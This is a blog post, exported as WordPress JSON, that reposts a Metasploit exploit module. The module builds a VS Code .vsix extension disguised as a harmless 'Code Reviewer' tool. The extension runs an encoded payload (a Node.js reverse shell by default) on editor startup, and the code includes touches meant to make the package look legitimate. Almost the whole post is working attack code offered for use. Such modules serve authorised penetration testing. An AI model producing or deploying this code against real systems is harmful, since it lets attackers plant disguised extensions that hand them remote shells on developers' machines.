{"id":56400,"date":"2024-04-23T20:30:47","date_gmt":"2024-04-23T16:30:47","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178225\/visual_studio_vsix_exec.rb.txt"},"modified":"2024-04-23T20:30:47","modified_gmt":"2024-04-23T16:30:47","slug":"visual-studio-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/visual-studio-code-execution\/","title":{"rendered":"Visual Studio Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::FILEFORMAT<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Visual Studio vsix Extension Exec&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Creates a vsix file which can be installed in Visual Studio Code as an extension.<br \/>At activation\/install, the extension will execute a shell or two.<\/p>\n<p>Tested against VSCode 1.87.2 on Ubuntu 22.04<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die&#8217;, # Metasploit module<br \/>],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;EXITFUNC&#8217; =&gt; &#8216;thread&#8217;,<br \/>&#8216;DisablePayloadHandler&#8217; =&gt; false,<br \/>&#8216;FILENAME&#8217; =&gt; &#8216;extension.vsix&#8217;,<br \/>&#8216;WfsDelay&#8217; =&gt; 3_600, # 1hr<br \/>&#8216;payload&#8217; =&gt; &#8216;nodejs\/shell_reverse_tcp&#8217; # cross platform<br \/>},<br \/>&#8216;Platform&#8217; =&gt; &#8216;nodejs&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_NODEJS,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[&#8216;Automatic&#8217;, {}],<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/medium.com\/@VakninHai\/the-hidden-risks-of-visual-studio-extensions-a-new-avenue-for-persistence-attacks-e56722c048f1&#8217;], # similar idea<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/code.visualstudio.com\/api\/get-started\/your-first-extension&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/code.visualstudio.com\/api\/references\/activation-events&#8217;] # onStartup Action<br \/>],<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [ARTIFACTS_ON_DISK]},<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-03-22&#8217; # date of development<br \/>)<br \/>)<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;NAME&#8217;, [true, &#8216;The name of the extension&#8217;, &#8216;Code Reviewer&#8217;]),<br \/>OptString.new(&#8216;DESCRIPTION&#8217;, [true, &#8216;The description of the extension&#8217;, &#8216;Reviews code&#8217;]),<br \/>OptString.new(&#8216;VERSION&#8217;, [true, &#8216;The version of the extension&#8217;, &#8216;0.0.1&#8217;]),<br \/>OptString.new(&#8216;README&#8217;, [false, &#8216;The readme contents for the extension&#8217;, &#8221;]),<br \/>])<br \/>end<\/p>\n<p>def name<br \/>datastore[&#8216;NAME&#8217;]end<\/p>\n<p>def description<br \/>datastore[&#8216;DESCRIPTION&#8217;]end<\/p>\n<p>def version<br \/>datastore[&#8216;VERSION&#8217;]end<\/p>\n<p>def readme<br \/>datastore[&#8216;README&#8217;]end<\/p>\n<p>def manifest<br \/>%(&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;utf-8&#8243;?&gt;<br \/>&lt;PackageManifest Version=&#8221;2.0.0&#8243; xmlns=&#8221;http:\/\/schemas.microsoft.com\/developer\/vsx-schema\/2011&#8243; xmlns:d=&#8221;http:\/\/schemas.microsoft.com\/developer\/vsx-schema-design\/2011&#8243;&gt;<br \/>&lt;Metadata&gt;<br \/>&lt;Identity Language=&#8221;en-US&#8221; Id=&#8221;extension-name-fillmein&#8221; Version=&#8221;#{version}&#8221; Publisher=&#8221;#{Rex::Text.rand_text_alpha(10)}&#8221; \/&gt;<br \/>&lt;DisplayName&gt;#{name}&lt;\/DisplayName&gt;<br \/>&lt;Description xml:space=&#8221;preserve&#8221;&gt;#{description}&lt;\/Description&gt;<br \/>&lt;Tags&gt;&lt;\/Tags&gt;<br \/>&lt;GalleryFlags&gt;Public&lt;\/GalleryFlags&gt;<\/p>\n<p>&lt;Properties&gt;<br \/>&lt;Property Id=&#8221;Microsoft.VisualStudio.Code.Engine&#8221; Value=&#8221;^1.60.0&#8243; \/&gt;<br \/>&lt;Property Id=&#8221;Microsoft.VisualStudio.Code.ExtensionDependencies&#8221; Value=&#8221;&#8221; \/&gt;<br \/>&lt;Property Id=&#8221;Microsoft.VisualStudio.Code.ExtensionPack&#8221; Value=&#8221;&#8221; \/&gt;<br \/>&lt;Property Id=&#8221;Microsoft.VisualStudio.Code.ExtensionKind&#8221; Value=&#8221;workspace&#8221; \/&gt;<br \/>&lt;Property Id=&#8221;Microsoft.VisualStudio.Code.LocalizedLanguages&#8221; Value=&#8221;&#8221; \/&gt;<br \/>&lt;Property Id=&#8221;Microsoft.VisualStudio.Services.GitHubFlavoredMarkdown&#8221; Value=&#8221;true&#8221; \/&gt;<br \/>&lt;Property Id=&#8221;Microsoft.VisualStudio.Services.Content.Pricing&#8221; Value=&#8221;Free&#8221;\/&gt;<br \/>&lt;\/Properties&gt;<br \/>&lt;\/Metadata&gt;<br \/>&lt;Installation&gt;<br \/>&lt;InstallationTarget Id=&#8221;Microsoft.VisualStudio.Code&#8221;\/&gt;<br \/>&lt;\/Installation&gt;<br \/>&lt;Dependencies\/&gt;<br \/>&lt;Assets&gt;<br \/>&lt;Asset Type=&#8221;Microsoft.VisualStudio.Code.Manifest&#8221; Path=&#8221;extension\/package.json&#8221; Addressable=&#8221;true&#8221; \/&gt;<br \/>&lt;\/Assets&gt;<br \/>&lt;\/PackageManifest&gt;)<br \/>end<\/p>\n<p>def extension_js<br \/>%|const vscode = require(&#8216;vscode&#8217;);<\/p>\n<p>function activate(context) {<br \/>#{payload.encoded}<br \/>}<\/p>\n<p>function deactivate() {}<\/p>\n<p>module.exports = {<br \/>activate,<br \/>deactivate<br \/>}<br \/>|<br \/>end<\/p>\n<p>def package_json<br \/>%({<br \/>&#8220;name&#8221;: &#8220;#{name.gsub(&#8216; &#8216;, &#8216;.&#8217;)}&#8221;,<br \/>&#8220;displayName&#8221;: &#8220;#{name}&#8221;,<br \/>&#8220;description&#8221;: &#8220;#{description}&#8221;,<br \/>&#8220;version&#8221;: &#8220;#{version}&#8221;,<br \/>&#8220;publisher&#8221;:&#8221;#{Rex::Text.rand_name}&#8221;,<br \/>&#8220;engines&#8221;: {<br \/>&#8220;vscode&#8221;: &#8220;^1.60.0&#8221;<br \/>},<br \/>&#8220;activationEvents&#8221;: [&#8220;onStartupFinished&#8221;],<br \/>&#8220;main&#8221;: &#8220;.\/extension.js&#8221;,<br \/>&#8220;devDependencies&#8221;: {<br \/>&#8220;@types\/vscode&#8221;: &#8220;^1.60.0&#8221;<br \/>}<br \/>}<br \/>)<br \/>end<\/p>\n<p>def exploit<br \/># Create malicious vsix (zip archive) containing our exploit<br \/>files =<br \/>[<br \/>{ data: manifest, fname: &#8216;extension.vsixmanifest&#8217; },<br \/>{ data: extension_js, fname: &#8216;extension\/extension.js&#8217; },<br \/>{ data: package_json, fname: &#8216;extension\/package.json&#8217; },<br \/>{ data: readme, fname: &#8216;extension\/README.md&#8217; }, # not required, but looks a little more official<br \/>]\n<p>zip = Msf::Util::EXE.to_zip(files)<\/p>\n<p>file_create(zip)<br \/>print_status(&#8216;Waiting for shell&#8217;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Visual Studio vsix Extension Exec&#8217;,&#8216;Description&#8217; =&gt; %q{Creates a vsix file which can be installed in Visual Studio Code as an extension.At activation\/install, the extension will execute a shell or two. Tested against VSCode &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56400","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56400","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56400"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56400\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56400"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56400"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56400"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}